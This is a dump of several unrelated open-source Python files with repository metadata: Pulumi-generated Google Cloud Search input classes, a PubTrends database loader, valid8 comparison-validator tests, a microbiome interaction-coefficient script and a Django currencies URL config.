cloudsearch.SchemaPropertyOptions :param pulumi.Input[str] source_name: Source name to facet on. Format: datasources/{source_id} If empty, all data sources will be used. """ if num_facet_buckets is not None: pulumi.set(__self__, "num_facet_buckets", num_facet_buckets) if object_type is not None: pulumi.set(__self__, "object_type", object_type) if operator_name is not None: pulumi.set(__self__, "operator_name", operator_name) if source_name is not None: pulumi.set(__self__, "source_name", source_name) @property @pulumi.getter(name="numFacetBuckets") def num_facet_buckets(self) -> Optional[pulumi.Input[int]]: """ Maximum number of facet buckets that should be returned for this facet. Defaults to 10. Maximum value is 100. """ return pulumi.get(self, "num_facet_buckets") @num_facet_buckets.setter def num_facet_buckets(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_facet_buckets", value) @property @pulumi.getter(name="objectType") def object_type(self) -> Optional[pulumi.Input[str]]: """ If object_type is set, only those objects of that type will be used to compute facets. If empty, then all objects will be used to compute facets. """ return pulumi.get(self, "object_type") @object_type.setter def object_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "object_type", value) @property @pulumi.getter(name="operatorName") def operator_name(self) -> Optional[pulumi.Input[str]]: """ Name of the operator chosen for faceting. @see cloudsearch.SchemaPropertyOptions """ return pulumi.get(self, "operator_name") @operator_name.setter def operator_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator_name", value) @property @pulumi.getter(name="sourceName") def source_name(self) -> Optional[pulumi.Input[str]]: """ Source name to facet on. Format: datasources/{source_id} If empty, all data sources will be used. """ return pulumi.get(self, "source_name") @source_name.setter def source_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source_name", value) @pulumi.input_type class FilterOptionsArgs: def __init__(__self__, *, filter: Optional[pulumi.Input['FilterArgs']] = None, object_type: Optional[pulumi.Input[str]] = None): """ Filter options to be applied on query. :param pulumi.Input['FilterArgs'] filter: Generic filter to restrict the search, such as `lang:en`, `site:xyz`. :param pulumi.Input[str] object_type: If object_type is set, only objects of that type are returned. This should correspond to the name of the object that was registered within the definition of schema. The maximum length is 256 characters. """ if filter is not None: pulumi.set(__self__, "filter", filter) if object_type is not None: pulumi.set(__self__, "object_type", object_type) @property @pulumi.getter def filter(self) -> Optional[pulumi.Input['FilterArgs']]: """ Generic filter to restrict the search, such as `lang:en`, `site:xyz`. """ return pulumi.get(self, "filter") @filter.setter def filter(self, value: Optional[pulumi.Input['FilterArgs']]): pulumi.set(self, "filter", value) @property @pulumi.getter(name="objectType") def object_type(self) -> Optional[pulumi.Input[str]]: """ If object_type is set, only objects of that type are returned. This should correspond to the name of the object that was registered within the definition of schema. The maximum length is 256 characters. """ return pulumi.get(self, "object_type") @object_type.setter def object_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "object_type", value) @pulumi.input_type class FilterArgs: def __init__(__self__, *, composite_filter: Optional[pulumi.Input['CompositeFilterArgs']] = None, value_filter: Optional[pulumi.Input['ValueFilterArgs']] = None): """ A generic way of expressing filters in a query, which supports two approaches: **1. Setting a ValueFilter.** The name must match an operator_name defined in the schema for your data source. **2. Setting a CompositeFilter.** The filters are evaluated using the logical operator. The top-level operators can only be either an AND or a NOT. AND can appear only at the top-most level. OR can appear only under a top-level AND. """ if composite_filter is not None: pulumi.set(__self__, "composite_filter", composite_filter) if value_filter is not None: pulumi.set(__self__, "value_filter", value_filter) @property @pulumi.getter(name="compositeFilter") def composite_filter(self) -> Optional[pulumi.Input['CompositeFilterArgs']]: return pulumi.get(self, "composite_filter") @composite_filter.setter def composite_filter(self, value: Optional[pulumi.Input['CompositeFilterArgs']]): pulumi.set(self, "composite_filter", value) @property @pulumi.getter(name="valueFilter") def value_filter(self) -> Optional[pulumi.Input['ValueFilterArgs']]: return pulumi.get(self, "value_filter") @value_filter.setter def value_filter(self, value: Optional[pulumi.Input['ValueFilterArgs']]): pulumi.set(self, "value_filter", value) @pulumi.input_type class GSuitePrincipalArgs: def __init__(__self__, *, gsuite_domain: Optional[pulumi.Input[bool]] = None, gsuite_group_email: Optional[pulumi.Input[str]] = None, gsuite_user_email: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[bool] gsuite_domain: This principal represents all users of the G Suite domain of the customer. :param pulumi.Input[str] gsuite_group_email: This principal references a G Suite group account :param pulumi.Input[str] gsuite_user_email: This principal references a G Suite user account """ if gsuite_domain is not None: pulumi.set(__self__, "gsuite_domain", gsuite_domain) if gsuite_group_email is not None: pulumi.set(__self__, "gsuite_group_email", gsuite_group_email) if gsuite_user_email is not None: pulumi.set(__self__, "gsuite_user_email", gsuite_user_email) @property @pulumi.getter(name="gsuiteDomain") def gsuite_domain(self) -> Optional[pulumi.Input[bool]]: """ This principal represents all users of the G Suite domain of the customer. """ return pulumi.get(self, "gsuite_domain") @gsuite_domain.setter def gsuite_domain(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "gsuite_domain", value) @property @pulumi.getter(name="gsuiteGroupEmail") def gsuite_group_email(self) -> Optional[pulumi.Input[str]]: """ This principal references a G Suite group account """ return pulumi.get(self, "gsuite_group_email") @gsuite_group_email.setter def gsuite_group_email(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "gsuite_group_email", value) @property @pulumi.getter(name="gsuiteUserEmail") def gsuite_user_email(self) -> Optional[pulumi.Input[str]]: """ This principal references a G Suite user account """ return pulumi.get(self, "gsuite_user_email") @gsuite_user_email.setter def gsuite_user_email(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "gsuite_user_email", value) @pulumi.input_type class QueryInterpretationConfigArgs: def __init__(__self__, *, force_disable_supplemental_results: Optional[pulumi.Input[bool]] = None, force_verbatim_mode: Optional[pulumi.Input[bool]] = None): """ Default options to interpret user query. :param pulumi.Input[bool] force_disable_supplemental_results: Set this flag to disable supplemental results retrieval, setting a flag here will not retrieve supplemental results for queries associated with a given search application. If this flag is set to True, it will take precedence over the option set at Query level. For the default value of False, query level flag will set the correct interpretation for supplemental results. :param pulumi.Input[bool] force_verbatim_mode: Enable this flag to turn off all internal optimizations like natural language (NL) interpretation of queries, supplemental results retrieval, and usage of synonyms including custom ones. If this flag is set to True, it will take precedence over the option set at Query level. For the default value of False, query level flag will set the correct interpretation for verbatim mode. """ if force_disable_supplemental_results is not None: pulumi.set(__self__, "force_disable_supplemental_results", force_disable_supplemental_results) if force_verbatim_mode is not None: pulumi.set(__self__, "force_verbatim_mode", force_verbatim_mode) @property @pulumi.getter(name="forceDisableSupplementalResults") def force_disable_supplemental_results(self) -> Optional[pulumi.Input[bool]]: """ Set this flag to disable supplemental results retrieval, setting a flag here will not retrieve supplemental results for queries associated with a given search application. If this flag is set to True, it will take precedence over the option set at Query level. For the default value of False, query level flag will set the correct interpretation for supplemental results. """ return pulumi.get(self, "force_disable_supplemental_results") @force_disable_supplemental_results.setter def force_disable_supplemental_results(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "force_disable_supplemental_results", value) @property @pulumi.getter(name="forceVerbatimMode") def force_verbatim_mode(self) -> Optional[pulumi.Input[bool]]: """ Enable this flag to turn off all internal optimizations like natural language (NL) interpretation of queries, supplemental results retrieval, and usage of synonyms including custom ones. If this flag is set to True, it will take precedence over the option set at Query level. For the default value of False, query level flag will set the correct interpretation for verbatim mode. """ return pulumi.get(self, "force_verbatim_mode") @force_verbatim_mode.setter def force_verbatim_mode(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "force_verbatim_mode", value) @pulumi.input_type class ScoringConfigArgs: def __init__(__self__, *, disable_freshness: Optional[pulumi.Input[bool]] = None, disable_personalization: Optional[pulumi.Input[bool]] = None): """ Scoring configurations for a source while processing a Search or Suggest request. :param pulumi.Input[bool] disable_freshness: Whether to use freshness as a ranking signal. By default, freshness is used as a ranking signal. Note that this setting is not available in the Admin UI. :param pulumi.Input[bool] disable_personalization: Whether to personalize the results. By default, personal signals will be used to boost results. """ if disable_freshness is not None: pulumi.set(__self__, "disable_freshness", disable_freshness) if disable_personalization is not None: pulumi.set(__self__, "disable_personalization", disable_personalization) @property @pulumi.getter(name="disableFreshness") def disable_freshness(self) -> Optional[pulumi.Input[bool]]: """ Whether to use freshness as a ranking signal. By default, freshness is used as a ranking signal. Note that this setting is not available in the Admin UI. """ return pulumi.get(self, "disable_freshness") @disable_freshness.setter def disable_freshness(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "disable_freshness", value) @property @pulumi.getter(name="disablePersonalization") def disable_personalization(self) -> Optional[pulumi.Input[bool]]: """ Whether to personalize the results. By default, personal signals will be used to boost results. """ return pulumi.get(self, "disable_personalization") @disable_personalization.setter def disable_personalization(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "disable_personalization", value) @pulumi.input_type class SortOptionsArgs: def __init__(__self__, *, operator_name: Optional[pulumi.Input[str]] = None, sort_order: Optional[pulumi.Input['SortOptionsSortOrder']] = None): """ :param pulumi.Input[str] operator_name: Name of the operator corresponding to the field to sort on. The corresponding property must be marked as sortable. :param pulumi.Input['SortOptionsSortOrder'] sort_order: Ascending is the default sort order """ if operator_name is not None: pulumi.set(__self__, "operator_name", operator_name) if sort_order is not None: pulumi.set(__self__, "sort_order", sort_order) @property @pulumi.getter(name="operatorName") def operator_name(self) -> Optional[pulumi.Input[str]]: """ Name of the operator corresponding to the field to sort on. The corresponding property must be marked as sortable. """ return pulumi.get(self, "operator_name") @operator_name.setter def operator_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator_name", value) @property @pulumi.getter(name="sortOrder") def sort_order(self) -> Optional[pulumi.Input['SortOptionsSortOrder']]: """ Ascending is the default sort order """ return pulumi.get(self, "sort_order") @sort_order.setter def sort_order(self, value: Optional[pulumi.Input['SortOptionsSortOrder']]): pulumi.set(self, "sort_order", value) @pulumi.input_type class SourceConfigArgs: def __init__(__self__, *, crowding_config: Optional[pulumi.Input['SourceCrowdingConfigArgs']] = None, scoring_config: Optional[pulumi.Input['SourceScoringConfigArgs']] = None, source: Optional[pulumi.Input['SourceArgs']] = None): """ Configurations for a source while processing a Search or Suggest request. :param pulumi.Input['SourceCrowdingConfigArgs'] crowding_config: The crowding configuration for the source. :param pulumi.Input['SourceScoringConfigArgs'] scoring_config: The scoring configuration for the source. :param pulumi.Input['SourceArgs'] source: The source for which this configuration is to be used. """ if crowding_config is not None: pulumi.set(__self__, "crowding_config", crowding_config) if scoring_config is not None: pulumi.set(__self__, "scoring_config", scoring_config) if source is not None: pulumi.set(__self__, "source", source) @property @pulumi.getter(name="crowdingConfig") def crowding_config(self) -> Optional[pulumi.Input['SourceCrowdingConfigArgs']]: """ The crowding configuration for the source. """ return pulumi.get(self, "crowding_config") @crowding_config.setter def crowding_config(self, value: Optional[pulumi.Input['SourceCrowdingConfigArgs']]): pulumi.set(self, "crowding_config", value) @property @pulumi.getter(name="scoringConfig") def scoring_config(self) -> Optional[pulumi.Input['SourceScoringConfigArgs']]: """ The scoring configuration for the source. """ return pulumi.get(self, "scoring_config") @scoring_config.setter def scoring_config(self, value: Optional[pulumi.Input['SourceScoringConfigArgs']]): pulumi.set(self, "scoring_config", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input['SourceArgs']]: """ The source for which this configuration is to be used. """ return pulumi.get(self, "source") @source.setter def source(self, value: Optional[pulumi.Input['SourceArgs']]): pulumi.set(self, "source", value) @pulumi.input_type class SourceCrowdingConfigArgs: def __init__(__self__, *, num_results: Optional[pulumi.Input[int]] = None, num_suggestions: Optional[pulumi.Input[int]] = None): """ Set search results crowding limits. Crowding is a situation in which multiple results from the same source or host "crowd out" other results, diminishing the quality of search for users. To foster better search quality and source diversity in search results, you can set a condition to reduce repetitive results by source. :param pulumi.Input[int] num_results: Maximum number of results allowed from a datasource in a result page as long as results from other sources are not exhausted. Value specified must not be negative. A default value is used if this value is equal to 0. To disable crowding, set the value greater than 100. :param pulumi.Input[int] num_suggestions: Maximum number of suggestions allowed from a source. No limits will be set on results if this value is less than or equal to 0. """ if num_results is not None: pulumi.set(__self__, "num_results", num_results) if num_suggestions is not None: pulumi.set(__self__, "num_suggestions", num_suggestions) @property @pulumi.getter(name="numResults") def num_results(self) -> Optional[pulumi.Input[int]]: """ Maximum number of results allowed from a datasource in a result page as long as results from other sources are not exhausted. Value specified must not be negative. A default value is used if this value is equal to 0. To disable crowding, set the value greater than 100. """ return pulumi.get(self, "num_results") @num_results.setter def num_results(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_results", value) @property @pulumi.getter(name="numSuggestions") def num_suggestions(self) -> Optional[pulumi.Input[int]]: """ Maximum number of suggestions allowed from a source. No limits will be set on results if this value is less than or equal to 0. """ return pulumi.get(self, "num_suggestions") @num_suggestions.setter def num_suggestions(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_suggestions", value) @pulumi.input_type class SourceScoringConfigArgs: def __init__(__self__, *, source_importance: Optional[pulumi.Input['SourceScoringConfigSourceImportance']] = None): """ Set the scoring configuration. This allows modifying the ranking of results for a source. :param pulumi.Input['SourceScoringConfigSourceImportance'] source_importance: Importance of the source. """ if source_importance is not None: pulumi.set(__self__, "source_importance", source_importance) @property @pulumi.getter(name="sourceImportance") def source_importance(self) -> Optional[pulumi.Input['SourceScoringConfigSourceImportance']]: """ Importance of the source. """ return pulumi.get(self, "source_importance") @source_importance.setter def source_importance(self, value: Optional[pulumi.Input['SourceScoringConfigSourceImportance']]): pulumi.set(self, "source_importance", value) @pulumi.input_type class SourceArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, predefined_source: Optional[pulumi.Input['SourcePredefinedSource']] = None): """ Defines sources for the suggest/search APIs. :param pulumi.Input[str] name: Source name for content indexed by the Indexing API. :param pulumi.Input['SourcePredefinedSource'] predefined_source: Predefined content source for Google Apps. """ if name is not None: pulumi.set(__self__, "name", name) if predefined_source is not None: pulumi.set(__self__, "predefined_source", predefined_source) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Source name for content indexed by the Indexing API. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="predefinedSource") def predefined_source(self) -> Optional[pulumi.Input['SourcePredefinedSource']]: """ Predefined content source for Google Apps. """ return pulumi.get(self, "predefined_source") @predefined_source.setter def predefined_source(self, value: Optional[pulumi.Input['SourcePredefinedSource']]): pulumi.set(self, "predefined_source", value) @pulumi.input_type class ValueFilterArgs: def __init__(__self__, *, operator_name: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input['ValueArgs']] = None): """ :param pulumi.Input[str] operator_name: The `operator_name` applied to the query, such as *price_greater_than*. The filter can work against both types of filters defined in the schema for your data source: 1. `operator_name`, where the query filters results by the property that matches the value. 2. `greater_than_operator_name` or `less_than_operator_name` in your schema. The query filters the results for the property values that are greater than or less than the supplied value in the query. :param pulumi.Input['ValueArgs'] value: The value to be compared with. """ if operator_name is not None: pulumi.set(__self__, "operator_name", operator_name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter(name="operatorName") def operator_name(self) -> Optional[pulumi.Input[str]]: """ The `operator_name` applied to the query, such as *price_greater_than*. The filter can work against both types of filters defined in the schema for your data source: 1. `operator_name`, where the query filters results by the property that matches the value. 2. `greater_than_operator_name` or `less_than_operator_name` in your schema. The query filters the results for the property values that are greater than or less than the supplied value in the query. """ return pulumi.get(self, "operator_name") @operator_name.setter def operator_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator_name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input['ValueArgs']]: """ The value to be compared with. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input['ValueArgs']]): pulumi.set(self, "value", value) @pulumi.input_type class ValueArgs: def __init__(__self__, *, boolean_value: Optional[pulumi.Input[bool]] = None, date_value: Optional[pulumi.Input['DateArgs']] = None, double_value: Optional[pulumi.Input[float]] = None, integer_value: Optional[pulumi.Input[str]] = None, string_value: Optional[pulumi.Input[str]] = None, timestamp_value: Optional[pulumi.Input[str]] = None): """ Definition of a single value with generic type. """ if boolean_value is not None: pulumi.set(__self__, "boolean_value", boolean_value) if date_value is not None: pulumi.set(__self__, "date_value", date_value) if double_value is not None: pulumi.set(__self__, "double_value", double_value) if integer_value is not None: pulumi.set(__self__, "integer_value", integer_value) if string_value is not None: pulumi.set(__self__, "string_value", string_value) if timestamp_value is not None: pulumi.set(__self__, "timestamp_value", timestamp_value) @property @pulumi.getter(name="booleanValue") def boolean_value(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "boolean_value") @boolean_value.setter def boolean_value(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "boolean_value", value) @property @pulumi.getter(name="dateValue") def date_value(self) -> Optional[pulumi.Input['DateArgs']]: return pulumi.get(self, "date_value") @date_value.setter def date_value(self, value: Optional[pulumi.Input['DateArgs']]): pulumi.set(self, "date_value", value) @property @pulumi.getter(name="doubleValue") def double_value(self) -> Optional[pulumi.Input[float]]: return pulumi.get(self, "double_value") @double_value.setter def double_value(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "double_value", value) @property @pulumi.getter(name="integerValue") def integer_value(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "integer_value") @integer_value.setter def integer_value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "integer_value", value) @property @pulumi.getter(name="stringValue") def string_value(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "string_value") @string_value.setter def string_value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "string_value", value) @property @pulumi.getter(name="timestampValue") def timestamp_value(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "timestamp_value") @timestamp_value.setter def timestamp_value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "timestamp_value", value)

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0.100653

0.049797

0.730796

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0.508035

0.438019

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45.111549

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null

0

1

0

null

0

1

0

2

46e3a5a2a04d61359d2e88149a9d0578cc769b76

1,689

py

Python

pysrc/papers/db/loaders.py

JetBrains-Research/pubtrends

5352bec2cca3321f8554d8e60728fe6d8494edcb

[ "Apache-2.0" ]

7

2022-01-10T15:48:31.000Z

2022-02-28T11:42:15.000Z

pysrc/papers/db/loaders.py

JetBrains-Research/pubtrends

5352bec2cca3321f8554d8e60728fe6d8494edcb

[ "Apache-2.0" ]

12

2021-11-04T17:21:10.000Z

2022-02-23T15:01:10.000Z

pysrc/papers/db/loaders.py

JetBrains-Research/pubtrends

5352bec2cca3321f8554d8e60728fe6d8494edcb

[ "Apache-2.0" ]

null

from pysrc.papers.db.pm_postgres_loader import PubmedPostgresLoader from pysrc.papers.db.postgres_connector import PostgresConnector from pysrc.papers.db.ss_postgres_loader import SemanticScholarPostgresLoader from pysrc.papers.utils import PUBMED_ARTICLE_BASE_URL, SEMANTIC_SCHOLAR_BASE_URL from pysrc.prediction.ss_arxiv_loader import SSArxivLoader from pysrc.prediction.ss_pubmed_loader import SSPubmedLoader class Loaders: @staticmethod def source(loader, test=False): # Determine source to provide correct URLs to articles, # see #get_loader_and_url_prefix # TODO: Bad design, refactor if isinstance(loader, PubmedPostgresLoader): return 'Pubmed' elif isinstance(loader, SemanticScholarPostgresLoader): return 'Semantic Scholar' elif isinstance(loader, SSArxivLoader): return 'SSArxiv' elif isinstance(loader, SSPubmedLoader): return 'SSPubmed' elif not test: raise TypeError(f'Unknown loader {loader}') @staticmethod def get_loader_and_url_prefix(source, config): if PostgresConnector.postgres_configured(config): if source == 'Pubmed': return PubmedPostgresLoader(config), PUBMED_ARTICLE_BASE_URL elif source == 'Semantic Scholar': return SemanticScholarPostgresLoader(config), SEMANTIC_SCHOLAR_BASE_URL else: raise ValueError(f"Unknown source {source}") else: raise ValueError("No database configured") @staticmethod def get_loader(source, config): return Loaders.get_loader_and_url_prefix(source, config)[0]

41.195122

87

0.706927

179

1,689

6.47486

0.351955

0.046592

0.051769

0.044003

0.075065

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0

0.000767

0.228538

1,689

40

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0.090909

false

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0.181818

0.030303

0.515152

0

null

0

null

0

1

0

1

0

2

46e3ff53fb1b941d4c468448c6fb18d3fa28aa71

1,249

py

Python

valid8/tests/validation_lib/test_validators_comparables.py

smarie/python-validate

c8a10ccede1c0782355439b0966f532bf00dfcab

[ "BSD-3-Clause" ]

26

2018-01-10T03:44:19.000Z

2021-11-28T07:56:31.000Z

valid8/tests/validation_lib/test_validators_comparables.py

smarie/python-validate

c8a10ccede1c0782355439b0966f532bf00dfcab

[ "BSD-3-Clause" ]

55

2017-11-06T14:45:47.000Z

2021-05-12T08:28:11.000Z

valid8/tests/validation_lib/test_validators_comparables.py

smarie/python-valid8

c8a10ccede1c0782355439b0966f532bf00dfcab

[ "BSD-3-Clause" ]

null

import pytest from valid8.validation_lib import gt, gts, lt, lts, between, NotInRange, TooSmall, TooBig def test_gt(): """ tests that the gt() function works """ assert gt(1)(1) with pytest.raises(TooSmall): gt(-1)(-1.1) def test_gts(): """ tests that the gts() function works """ with pytest.raises(TooSmall): gts(1)(1) assert gts(-1)(-0.9) def test_lt(): """ tests that the lt() function works """ assert lt(1)(1) with pytest.raises(TooBig): lt(-1)(-0.9) def test_lts(): """ tests that the lts() function works """ with pytest.raises(TooBig): lts(1)(1) assert lts(-1)(-1.1) def test_between(): """ tests that the between() function works """ assert between(0, 1)(0) assert between(0, 1)(1) with pytest.raises(NotInRange): between(0, 1)(-0.1) with pytest.raises(NotInRange): between(0, 1)(1.1) def test_numpy_nan(): """ Test that a numpy nan is correctly handled """ import numpy as np with pytest.raises(TooSmall) as exc_info: gt(5.1)(np.nan) with pytest.raises(TooBig) as exc_info: lt(5.1)(np.nan) with pytest.raises(NotInRange) as exc_info: between(5.1, 5.2)(np.nan)

21.534483

89

0.598078

190

1,249

3.873684

0.205263

0.029891

0.195652

0.092391

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0.160326

0.097826

0

0.045648

0.245797

1,249

57

90

21.912281

0.735669

0.183347

0

0.181818

0

0.181818

1

0.181818

true

0

0.090909

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0.272727

0

null

0

1

0

null

0

1

0

2

46fa825c8cf74b729c7a17900171bc2636e74e47

5,801

py

Python

.ipynb_checkpoints/GenerateLambdas-checkpoint.py

ponte-vecchio/Deepfake-Microbiomes

d53b1a7fcd1edc1d9eacfd41783c533ce4dac967

[ "MIT" ]

2

2021-04-22T13:59:28.000Z

2021-06-30T23:02:31.000Z

.ipynb_checkpoints/GenerateLambdas-checkpoint.py

ponte-vecchio/Deepfake-Microbiomes

d53b1a7fcd1edc1d9eacfd41783c533ce4dac967

[ "MIT" ]

null

.ipynb_checkpoints/GenerateLambdas-checkpoint.py

ponte-vecchio/Deepfake-Microbiomes

d53b1a7fcd1edc1d9eacfd41783c533ce4dac967

[ "MIT" ]

1

2021-07-04T00:30:00.000Z

import numpy as np import pandas as pd def GenerateLambdasFromExcel(Experiment,File = "Pairwise_Chemostat.xlsx",version = "Equilibrium",mu = 1): Community = Experiment.Community Invader = Experiment.Invader RelativeAbundanceAll = pd.read_excel(File,sheet_name = "Relative_Abundance",index_col = 0) CommunityIndex = [] foundList = [] for CM in Community: if len(CM): try: CommunityIndex += [RelativeAbundanceAll.index[np.where(RelativeAbundanceAll.index.str.find(CM)>0)][0]] foundList += [CM] except IndexError: print(CM + " not found") if Invader != None: try: InvaderIndex = RelativeAbundanceAll.index[np.where(RelativeAbundanceAll.index.str.find(Invader)>0)][0] except IndexError: print("Invader Not Found") return None CommunityIndex = [cm for cm in np.unique(CommunityIndex) if cm != InvaderIndex] #print(RelativeAbundanceAll.index[np.where(RelativeAbundanceAll.index.str.find("intestini")>0)]) ###Get a list of community members. All = list(CommunityIndex) + [InvaderIndex] else: CommunityIndex = np.unique(CommunityIndex) #print(RelativeAbundanceAll.index[np.where(RelativeAbundanceAll.index.str.find("intestini")>0)]) ###Get a list of community members. All = list(CommunityIndex) RelativeAbundance = RelativeAbundanceAll.loc[All,All] ## \lambda_i^j = \alpha_{ji} - \alpha_{jj} - \mu*(\alpha_{ij} - \alpha_{ji}) ### \mu = 1/[(R_0 - 1)k] #### k -> mean interaction value. No idea how to estimate. #### R_0 Basic reproduction number. Similarly no idea, except that R_0>1 mean_interaction = mu if version == "Equilibrium": AllLambdas = pd.DataFrame(columns = RelativeAbundance.columns, index = RelativeAbundance.index) for i in range(len(AllLambdas.index)): for j in range(i+1): if i==j: AllLambdas.iloc[i,j] = 0 elif RelativeAbundance.iloc[i,j] == 0: AllLambdas.iloc[i,j] = -mean_interaction AllLambdas.iloc[j,i] = mean_interaction elif RelativeAbundance.iloc[j,i] == 0: AllLambdas.iloc[i,j] = mean_interaction AllLambdas.iloc[j,i] = -mean_interaction else: AllLambdas.iloc[i,j] = mean_interaction*RelativeAbundance.iloc[i,j]/(1-RelativeAbundance.iloc[i,j]) AllLambdas.iloc[j,i] = mean_interaction elif version == "LogRatio": TotalMassAll = pd.read_excel(File,sheet_name = "Total_Biomass",index_col = 0) TotalMass = TotalMassAll.loc[All,All] GrowthMass = RelativeAbundance*TotalMass GrowthMass.replace(to_replace = 0, value = 0.001, inplace = True) Alphas = np.log((GrowthMass.T/np.diag(GrowthMass)).T) AllLambdas = Alphas.T - np.diag(Alphas) - mu*(Alphas - Alphas.T) elif version == "Difference": TotalMassAll = pd.read_excel(File,sheet_name = "Total_Biomass",index_col = 0) TotalMass = TotalMassAll.loc[All,All] GrowthMass = RelativeAbundance*TotalMass Alphas = (GrowthMass.T - np.diag(GrowthMass)).T AllLambdas = Alphas.T - np.diag(Alphas) - mu*(Alphas - Alphas.T) CommLambdas = AllLambdas.loc[CommunityIndex,CommunityIndex] if Invader != None: LambdaInvaderComm = AllLambdas.loc[InvaderIndex].values[:-1] LambdaCommInvader = AllLambdas.loc[:,InvaderIndex].values[:-1] return CommLambdas,LambdaInvaderComm,LambdaCommInvader,foundList else: return CommLambdas,foundList def GenerateLambdasFromExcelAllPairs(File,version = "Equilibrium",mu = 1): RelativeAbundanceAll = pd.read_excel(File,sheet_name = "Relative_Abundance",index_col = 0) All = RelativeAbundanceAll.index ## \lambda_i^j = \alpha_{ji} - \alpha_{jj} - \mu*(\alpha_{ij} - \alpha_{ji}) ### \mu = 1/[(R_0 - 1)k] #### k -> mean interaction value. No idea how to estimate. #### R_0 Basic reproduction number. Similarly no idea, except that R_0>1 mean_interaction = mu if version == "Equilibrium": AllLambdas = pd.DataFrame(columns = RelativeAbundanceAll.columns, index = RelativeAbundanceAll.index) for i in range(len(AllLambdas.index)): for j in range(i+1): if i==j: AllLambdas.iloc[i,j] = 0 elif RelativeAbundanceAll.iloc[i,j] == 0: AllLambdas.iloc[i,j] = -mean_interaction AllLambdas.iloc[j,i] = mean_interaction elif RelativeAbundanceAll.iloc[j,i] == 0: AllLambdas.iloc[i,j] = mean_interaction AllLambdas.iloc[j,i] = -mean_interaction else: AllLambdas.iloc[i,j] = mean_interaction*RelativeAbundanceAll.iloc[i,j]/(1-RelativeAbundanceAll.iloc[i,j]) AllLambdas.iloc[j,i] = mean_interaction elif version == "LogRatio": TotalMassAll = pd.read_excel(File,sheet_name = "Total_Biomass",index_col = 0) GrowthMass = RelativeAbundanceAll*TotalMassAll GrowthMass.replace(to_replace = 0, value = 0.001, inplace = True) Alphas = np.log((GrowthMass.T/np.diag(GrowthMass)).T) AllLambdas = Alphas.T - np.diag(Alphas) - mu*(Alphas - Alphas.T) elif version == "Difference": TotalMassAll = pd.read_excel(File,sheet_name = "Total_Biomass",index_col = 0) GrowthMass = RelativeAbundanceAll*TotalMassAll Alphas = (GrowthMass.T - np.diag(GrowthMass)).T AllLambdas = Alphas.T - np.diag(Alphas) - mu*(Alphas - Alphas.T) return AllLambdas

40.006897

125

0.625582

648

5,801

5.512346

0.165123

0.010078

0.023516

0.035834

0.700448

0.682531

0.646697

0

0.011124

0.256163

5,801

144

126

40.284722

0.816686

0.11929

0

0.617021

1

0

0.042956

0.004532

0

1

0.021277

false

0

0.021277

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0.085106

0.021277

0

null

0

1

0

1

0

null

0

2

46fccb83735c70f048922fbf47158f5d55003417

419

py

Python

currencies/tests/test_urls.py

guestready/django-currencies

e41402008f50a20cf5eb859833d7825c42619c2b

[ "BSD-3-Clause" ]

69

2015-01-08T09:58:56.000Z

2021-06-16T12:48:21.000Z

currencies/tests/test_urls.py

guestready/django-currencies

e41402008f50a20cf5eb859833d7825c42619c2b

[ "BSD-3-Clause" ]

55

2015-01-27T15:03:19.000Z

2022-03-07T00:59:03.000Z

currencies/tests/test_urls.py

guestready/django-currencies

e41402008f50a20cf5eb859833d7825c42619c2b

[ "BSD-3-Clause" ]

58

2015-01-06T01:57:11.000Z

2022-02-28T19:50:43.000Z

# -*- coding: utf-8 -*- from django.conf.urls import * from django.views.generic import TemplateView urlpatterns = [ url(r'^currencies/', include('currencies.urls')), url(r'^$', TemplateView.as_view(template_name='index.html')), url(r'^context_processor$', TemplateView.as_view(template_name='context_processor.html')), url(r'^context_tag$', TemplateView.as_view(template_name='context_tag.html')), ]

34.916667

94

0.718377

54

419

5.388889

0.462963

0.054983

0.185567

0.268041

0.357388

0.254296

0

0.00266

0.102625

419

11

95

38.090909

0.771277

0.050119

0

0.275253

0.055556

0

1

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false

0

0.25

0

0.25

0

null

0

1

0

null

0

2

2000f783fffdbadf726d700fb6aba4e46ec3a2dc

6,081

py

Python

spiro/elastfe.py

behdad/fontcrunch

a8a41623f49feeeb2ba29e9e90b19a9637113c6d

[ "Apache-2.0" ]

1

2021-01-07T07:56:24.000Z

spiro/elastfe.py

behdad/fontcrunch

a8a41623f49feeeb2ba29e9e90b19a9637113c6d

[ "Apache-2.0" ]

null

spiro/elastfe.py

behdad/fontcrunch

a8a41623f49feeeb2ba29e9e90b19a9637113c6d

[ "Apache-2.0" ]

null

